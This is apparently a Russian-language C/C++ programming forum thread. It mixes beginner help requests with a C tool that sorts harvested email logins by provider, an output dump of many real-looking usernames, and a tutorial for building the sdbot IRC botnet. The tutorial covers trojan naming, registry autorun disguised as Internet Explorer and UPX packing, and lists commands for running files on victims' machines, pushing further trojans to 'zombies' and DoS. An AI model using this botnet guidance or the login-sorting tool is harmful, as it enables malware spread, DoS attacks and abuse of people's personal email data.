наваял тут по быстрому на студии выдиралку которая из файла мыльников логины выдирает ток не совсем коректно работате Code: #include <iostream.h> #include "stdio.h" #include "stdlib.h" #include "conio.h" int parser(char buf[20]); FILE *yfile; FILE *rfile; FILE *mfile; FILE *ifile; FILE *bfile; FILE *lfile; char *yyfile="yandex.txt"; char *rrfile="rambler.txt"; char *mmfile="mail.ru.txt"; char *iifile="inbox.txt"; char *bbfile="bk.txt"; char *llfile="list.txt"; void main( ) { char *filename="mail.txt"; FILE *mailfile; char bufer[20]; mailfile=fopen(filename,"r"); if(mailfile==NULL) { printf("Can't open file mail.txt"); exit(1); } mfile=fopen(mmfile,"a"); if(mfile==NULL){printf("Can't create/open file mail.txt\n");exit(1);} yfile=fopen(yyfile,"a"); if(yfile==NULL){printf("Can't create/open file yandex.txt\n");exit(1);} lfile=fopen(llfile,"a"); if(lfile==NULL){printf("Can't create/open file list.txt\n");exit(1);} bfile=fopen(bbfile,"a"); if(bfile==NULL){printf("Can't create/open file bk.txt\n");exit(1);} ifile=fopen(iifile,"a"); if(ifile==NULL){printf("Can't create/open file inbox.txt\n");exit(1);} rfile=fopen(rrfile,"a"); if(rfile==NULL){printf("Can't create/open file rambler.txt\n");exit(1);} while(fgets(bufer,20,mailfile)) { system("cls"); parser(bufer); printf("Parsing...."); } fclose(mailfile); fclose(yfile); fclose(bfile); fclose(lfile); fclose(mfile); fclose(rfile); fclose(ifile); printf("Parsing complete....\n"); } parser(char buf[20]) { char buf2[20]; int i=0; while(buf[i]!='\n') { if(buf[i]=='@'){ if(buf[i+1]=='m') { fputs(buf2,mfile);//break; return 0; } if(buf[i+1]=='y') { fputs(buf2,yfile);//break; return 0; } if(buf[i+1]=='l') { fputs(buf2,lfile);//break; return 0; } if(buf[i+1]=='b') { fputs(buf2,bfile);//break; return 0; } if(buf[i+1]=='i') { fputs(buf2,ifile);//break; return 0; } if(buf[i+1]=='r') { fputs(buf2,rfile);//break; return 0; } } else buf2[i]=buf[i]; i++; } return 0; } логины она видирает так еще и мусор какой то Code: satira_2006МММММММММЂяjullightММММММММММММЂяishipitkinММММММММММЂяmissmurderinММММММММЂяmik8793МММММММММММММЂяbeloved3110МММММММММЂяase495ММММММММММММММЂяstrateg86МММММММММММЂяedmeeМММММММММММММММЂяdichka777МММММММММММЂя22adeles08_90МММММММЂяmaster-14МММММММММММЂяk.sofronovММММММММММЂяsdaandmuaМММММММММММЂяchentvММММММММММММММЂяgenay_kМММММММММММММЂяkutja80МММММММММММММЂяfinal85МММММММММММММЂяtitan1963МММММММММММЂяmansur_xММММММММММММЂяvladyaММММММММММММММЂяkaravaev_sММММММММММЂяbeyerМММММММММММММММЂяgulietta_1983МММММММЂяgallllaaММММММММММММЂяlesha20МММММММММММММЂяle52ММММММММММММММММЂяvalychudММММММММММММЂяbukvarevaМММММММММММЂяbutcher_stММММММММММЂяnicssonМММММММММММММЂяyawawaММММММММММММММЂяaddy2002ММММММММММММЂяgosha-homeММММММММММЂяrostov_kirovММММММММЂяshiryaevagММММММММММЂяjermilovММММММММММММЂяbossvamМММММММММММММЂяteofiliusМММММММММММЂяsinerМММММММММММММММЂяsniffМММММММММММММММЂяgury2002ММММММММММММЂяrogarМММММММММММММММЂяsokolov1964МММММММММЂяprivetoffМММММММММММЂя2k2tommyММММММММММММЂяmaxim_69ММММММММММММЂяhaki2002ММММММММММММЂяsasha.zxММММММММММММЂяvsevolod67ММММММММММЂяdimych-sanММММММММММЂяnn-2002МММММММММММММЂяecoinformserviceММММЂяbevzsМММММММММММММММЂяpaw_katМММММММММММММЂяlepinskayaММММММММММЂяdaria_zaroubinaМММММЂяhoha_hohaМММММММММММЂяmurka2807МММММММММММЂяgnedishevМММММММММММЂяmay.eМММММММММММММММЂяsergun74ММММММММММММЂяmoiadresssММММММММММЂяjiexa-xaММММММММММММЂяmassaradeyaМММММММММЂяkakosjanММММММММММММЂяazariyaМММММММММММММЂяc_natalia_777МММММММЂяtrapeznikМММММММММММЂяbelousov1977ММММММММЂяannalushММММММММММММЂяkristischaММММММММММЂяtolya_misnikММММММММЂяshilo1991МММММММММММЂяblago1ММММММММММММММЂяxhatecorexММММММММММЂяfred_tntММММММММММММЂяtrunchikММММММММММММЂяld-filesММММММММММММЂяfazlievdeniskaММММММЂяfroluga1985МММММММММЂяegonbostonskyМММММММЂяmadaratМММММММММММММЂяbit1982МММММММММММММЂяartempatrikeevММММММЂяscotch-МММММММММММММЂяelistratovajММММММММЂяdumoh007ММММММММММММЂяnatellacherryМММММММЂяjulen18МММММММММММММЂяrysena84ММММММММММММЂяpodgornyi_romanМММММЂяso_82МММММММММММММММЂяdanila_sdlММММММММММЂяjulia-10ffММММММММММЂяshlyapavsМММММММММММЂяdusik_dashaМММММММММЂяjane_krashММММММММММЂяdemastiyММММММММММММЂяabc1990dММММММММММММЂяrasmys666МММММММММММЂяsvetik.l06ММММММММММЂяdevo4ka_iz_4itbiММММЂяfakeeeeeeeerММММММММЂяdubovsky66ММММММММММЂяvsevishnii-boh86ММММЂяgrapes-17МММММММММММЂяjane_ejik_msuМММММММЂяbirka13.89ММММММММММЂяcry_wolf-89МММММММММЂяagnia_barsukovaМММММЂяmane4ka2kМММММММММММЂяanenekММММММММММММММЂяz119ММММММММММММММММЂяovickМММММММММММММММЂяr-emelyanovМММММММММЂяgalinaryzovaММММММММЂяkafe_brМММММММММММММЂяdementev-aММММММММММЂяasset0679МММММММММММЂяjuodasММММММММММММММЂяsergej-reich78ММММММЂяlvd1967МММММММММММММЂяnekrasov_123ММММММММЂяkiparys83МММММММММММЂяsokolov-pasha.92ММММЂяdjgrafinММММММММММММЂяmalipyssММММММММММММЂяartemka__91МММММММММЂяmarzhansММММММММММММЂяksuxa-13890МММММММММЂяkemar2007МММММММММММЂяrus-dubokМММММММММММЂяasl_84ММММММММММММММЂяvmihalevskyМММММММММЂяzhenjok85МММММММММММЂяolga_onaftММММММММММЂяalone_forsakenММММММЂяleon81savokМММММММММЂяroma_supermanМММММММЂяsiyanie_strastiМММММЂяmega-stroy1МММММММММЂяgermankuchmaryovММММЂяsanya_matusМММММММММЂя4enyxМММММММММММММММЂяbadi851МММММММММММММЂяb-oleg.07МММММММММММЂяkrylova-kr.seloМММММЂяjerdna13ММММММММММММЂяmarina-skladММММММММЂяkatyagribovaММММММММЂяlokpco_s-recММММММММЂяstrojholdingММММММММЂяsofya_zaidesММММММММЂяdj_rock88МММММММММММЂяolgabostММММММММММММЂяkot9ipa2007МММММММММЂяfilippov84ММММММММММЂяmargoshka.77ММММММММЂяmarinav82МММММММММММЂяmuhladeevaММММММММММЂяsergg-jeffММММММММММЂяnatka-natka-natМММММЂяmcr93МММММММММММММММЂяmega-ponchikММММММММЂяquest888ММММММММММММЂяmaiorova.ekateriММММЂяduke-evilМММММММММММЂяnarellaМММММММММММММЂяasselya-djММММММММММЂяslonic.spbММММММММММЂяwiseladМММММММММММММЂяiama32ММММММММММММММЂяevgrudММММММММММММММЂяfeeriaММММММММММММММЂяmoscow-beautyМММММММЂяcherrymaryММММММММММЂяdima_tarasovММММММММЂяar мож кто подскажет в чем дело
файл из которого читаю Code: [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] на выходе Code: satira_2006МММММММММЂяjullightММММММММММММЂяishipitkinМММММММ
Code: j=0; while(buf[i]!='\n') { if(buf[i]=='@') { buf2[j]=0; if(buf[i+1]=='m') { fputs(buf2,mfile);//break; return 0; } if(buf[i+1]=='y') { fputs(buf2,yfile);//break; return 0; } if(buf[i+1]=='l') { fputs(buf2,lfile);//break; return 0; } if(buf[i+1]=='b') { fputs(buf2,bfile);//break; return 0; } if(buf[i+1]=='i') { fputs(buf2,ifile);//break; return 0; } if(buf[i+1]=='r') { fputs(buf2,rfile);//break; return 0; } j=0; } else { buf2[j]=buf[i]; j++ } i++; }
Если после описания переменной, не присвоить ей какое-нить значение, то переменная будет содержать в себе т.н. "мусор"(любое непредсказуемое значение).
2 zo1**** WinInet получалка! Code: int gethttp(char *my_url, char *my_path) { int cntstr; char before[100]; CString strServerName; // имя сервера CString strObject; // имя объекта INTERNET_PORT nPort; // номер порта для связи DWORD dwServiceType; // тип сервиса DWORD arg=0; char *pt; char *inquire; int entr1,entr2; int incld; struct sockaddr_in clnt_sin, srv_sin; bool bReuse = TRUE; char prbuf[10]; char *curptr; char debugstr[40]; char *mytempbuf; char sysstr[50]; char myname[50]; int i,j,l,m; int ex,mycritfl=0; int cnt=0; int length; mytempbuf=new char[5000]; CString m_url; CString m_path; FILE *fptr; if(strlen(my_url)>3) m_url=CString(my_url); m_path=CString(my_path); // создаём переменную session и открываем сессию ANDY CInternetSession session( _T( "Delimiter" ), PRE_CONFIG_INTERNET_ACCESS ); // создаём переменную pServer класса CHttpConnection CHttpConnection* pServer = NULL; // создаём переменную pFile класса CHttpFile CHttpFile* pFile = NULL; //Обратите внимание, что все запросы к функциям членам WinInet классов включены в блок программы TRY. //Это сделано так, потому что при соединении с каким либо URL есть риск неправильной ссылки, //особенно, когда Вы полагаете, что пользователь сам печатает URL. //Другая проблема - времена ожидания, которые возникают, когда требуемый URL в настоящее время //неспособен обслужить подключение. //Так же обработка WinInet исключений, которые представлены в классе //CInternetException, является важной частью создания Internet приложения под MFC. try { // функция AfxParseURL получает данные с указанного URL ( у нас m_url ) об сервере, // объекте, типе сервиса и порте if ( AfxParseURL( m_url, dwServiceType, strServerName, strObject, nPort ) == 0 ) { delete[] mytempbuf; return 0; } // вывод данных о сервере // Устанавливаем подключение по HTTP протоклолу. pServer = session.GetHttpConnection( strServerName, nPort ); // посылаем запрос об объекте ( strObject ) pFile = pServer->OpenRequest( CHttpConnection::HTTP_VERB_GET, strObject, NULL, 1, NULL, NULL, INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_DONT_CACHE ); // Добавляем заголовок к HTTP запросу pFile->AddRequestHeaders( _T( "Accept: */*\r\nUser-Agent: Delimiter\r\n" ) ); // посылаем запрос pFile->SendRequest( ); DWORD dwRet; // переменная для хранения кода состояния pFile->QueryInfoStatusCode( dwRet ); // записываем код состояния в dwRet // вывод данных CString strHeader; // переменная для хранения полученного заголовока запроса pFile->QueryInfo(HTTP_QUERY_RAW_HEADERS_CRLF, strHeader); // записываем заголовок в strHeader // вывод данных // если код состояния не равен 200, то выходим из функции if( dwRet != 200 ) { //m_mes += "thread terminate!"; delete[] mytempbuf; session.Close( ); return 0; } // ---------------------------------------------------------- fptr=fopen(my_path,"wb"); int allRead = 0; // переменная для хранения общего числи считанных байт int nRead = pFile->Read( mytempbuf, 1024 ); // считываем первые 1024 байта в буфер. // переменная nRead хранит количество // считанных байт allRead += nRead; // обновляем общее число считанных байт // записываем буфер из nRead байт в файл fwrite(mytempbuf,1,nRead,fptr); //file2.Write( strBody, nRead ); // цикл считывания, пока nRead не будет равняться нулю while ( nRead > 0 ) { nRead = pFile->Read( mytempbuf, 1024 ); if( nRead != 0 ) { fwrite(mytempbuf,1,nRead,fptr);//file2.Write( strBody, nRead ); allRead += nRead; } } fclose(fptr); } catch ( CInternetException* pEx ) { // Если произошла ошибка в WinInet // вывод ошибки char szErr[1024]; pEx->GetErrorMessage( szErr, 1024 ); pEx->Delete( ); // удаление переменной класса CInternetException if ( pFile != NULL ) delete pFile; // закрываем Internet файл if ( pServer != NULL ) delete pServer; // закрываем сервер delete[] mytempbuf; Sleep(50); return 0; } if ( pFile != NULL ) delete pFile; // закрываем Internet файл if ( pServer != NULL ) delete pServer; // закрываем сервер session.Close( ); // закрываем сессию delete[] mytempbuf; return 1; }
нужна помощь только начал изучать С++ есть программа которая создаёт файл reg.txt как заделать так чтоб она этот файл раз в 1 день выкладывала на фтп и желательно чтоб до пасовала в него новую информацию прошу сильно не ругать наверно глупый вопрос но я только учусь
Пожалуйста, помогите. Есть динамический массив - int *mass = new char [200]. В нем содержится какое-то предложение. С помощью функции strtok() я нахожу там определенное слово (его, например, вводит пользователь) и копирую его в другой динамический массив - slovo. Потом переворачиваю этот массив, используя функцию strrev(). Т. е. было слово "елка", а стало "акле". Мне нужно как-то перезаписать слово "елка", находящиеся в дин. массиве mass на это же слово, только перевернутое - "акле" (которое находиться в массиве slovo). Т. е. записать в массив mass массив slovo, на то место, где находится слово "елка". Как это сделать? ЗЫ извините за кривость изложения
Помогите, пожалуйста! Решил на днях попробывать написать простенький ботнет с исходника sdbot (0.5a), сделал все по описанию, с компелировал через VStudio 8.0, получил exe файл, запустил, он вошел в IRC чат, но команды вообще не воспринимает, тупо молчит.... вот ссылка на бот.
Вот к примеру ботнет [SD]-Bot от русского автора [SD].Это простенький и стабильный бот, обладающий функциями DoS/Администрирование IRC-канала (не уступает возможностям eggdrop). Бот управляется через IRC. Code: /msg chanserv register #канал пароль краткое_описание_канала (например канал Васи Пупкина) Для компиляции необходим LCC или Visual Studio 6.У меня стоит Visual Studio 7 .NET распаковываем исходники и открываем файл SDBOT05A.CPP.Находим там строчку: irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass) и меняем ее на: irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass); Все, ошибка исправлена, теперь в строчке выше ищем следующую строчку: Code: // bot configuration const char botid[] = "set_me"; // ID бота,можно вписывать что угодно, апример "mYz0mb1e" const char password[] = "set_me"; // Пароль на бота. const char server[] = "set_me"; // IRC-сервер,пример: "irc.dalnet.ru" const int port = 6667; // Порт сервера, оставьте как есть. const char server2[] = ""; // необязательный параметр, на случай если 1 сервер будет не доступен, то бот законнектится на второй const int port2 = 6667; // Аналогично const char serverpass[] = ""; // Пароль от сервера(оставьте пустым) const char channel[] = "set_me"; // Канал ,где будут отчитываться боты, пример: "#ru24" const char chanpass[] = ""; // Пароль от канала (не обязательный параметр, если ваш канал не требует авторизации) const char filename[] = "win.exe"; // Название файла-трояна(бот) которое будет видно в процессах. const BOOL regrun = TRUE; // Использовать ключ в реестре для автозагрузки(включено по умолчанию) const char valuename[] = "Microsoft Internet Explorer"; // Название ключа в реестре const char prefix = '.'; // Префикс название у ботов(необязательный параметр) const char version[] = "sdbot v0.5a by [sd]"; // Метка бота ;) Все, бот готов к эксплуатации. Теперь компилируем, после этого сжимаем его UPX'ом чтобы уменьшить размер. Теперь заходим на IRC-канал,запускаем у себя трояна и видим что на канал зашел бот Теперь можно давать команды боту. Пример: Code: << Nitrex >>: .about <sdbot1>: sdbot version 0.4c by [sd] ([email protected]). homepage: sdbot.n3.net/ <sdbot2>: sdbot version 0.4c by [sd] ([email protected]). homepage: sdbot.n3.net/ <sdbot3>: sdbot version 0.4c by [sd] ([email protected]). homepage: sdbot.n3.net/ Все боты послушно выполнили нашу команду - показать инфу о создателе бота. Список самых нужных команд для [SD]-Бота: Code: cycle <seconds> <channel> - уйти на N-кол-во времени с канала, а потом зайти. die - самоубийство :) execute <visibility> <file> [parameters] - запустить файл на компьютере жертвы download <url> <destination> <action> - скачать файл на комьютер-зомби. Очень полезно когда нужно затроянить всех зомби другим трояном или модификацией бота! ping <host> <# of pings> <packet size> <timeout> - великий и ужасный ПИНГ aka DoS ;)
Установил библиотеку fmod под DevC++ но выдаются ошибки Linker error: undefined reference to `FSOUND_Init@12' undefined reference to `FSOUND_Stream_Open@16' undefined reference to `FSOUND_Stream_Play@8' undefined reference to `FSOUND_Stream_Close@4' Как подключить ее к компановщику в DevC++?
В свойствах проекта должно быть. А вообще если нравися Dev-cpp, то удали енго и поставь Code::Blocks. Это как бы его логическое продолжение.
cash$$$, я как раз по этому описанию и делал... оно для 0.4с версии, а в 0.5а эти ошибки изначально исправлены... я все делал по этому описанию но на любые команды(с префиксом и без) он не отвечает...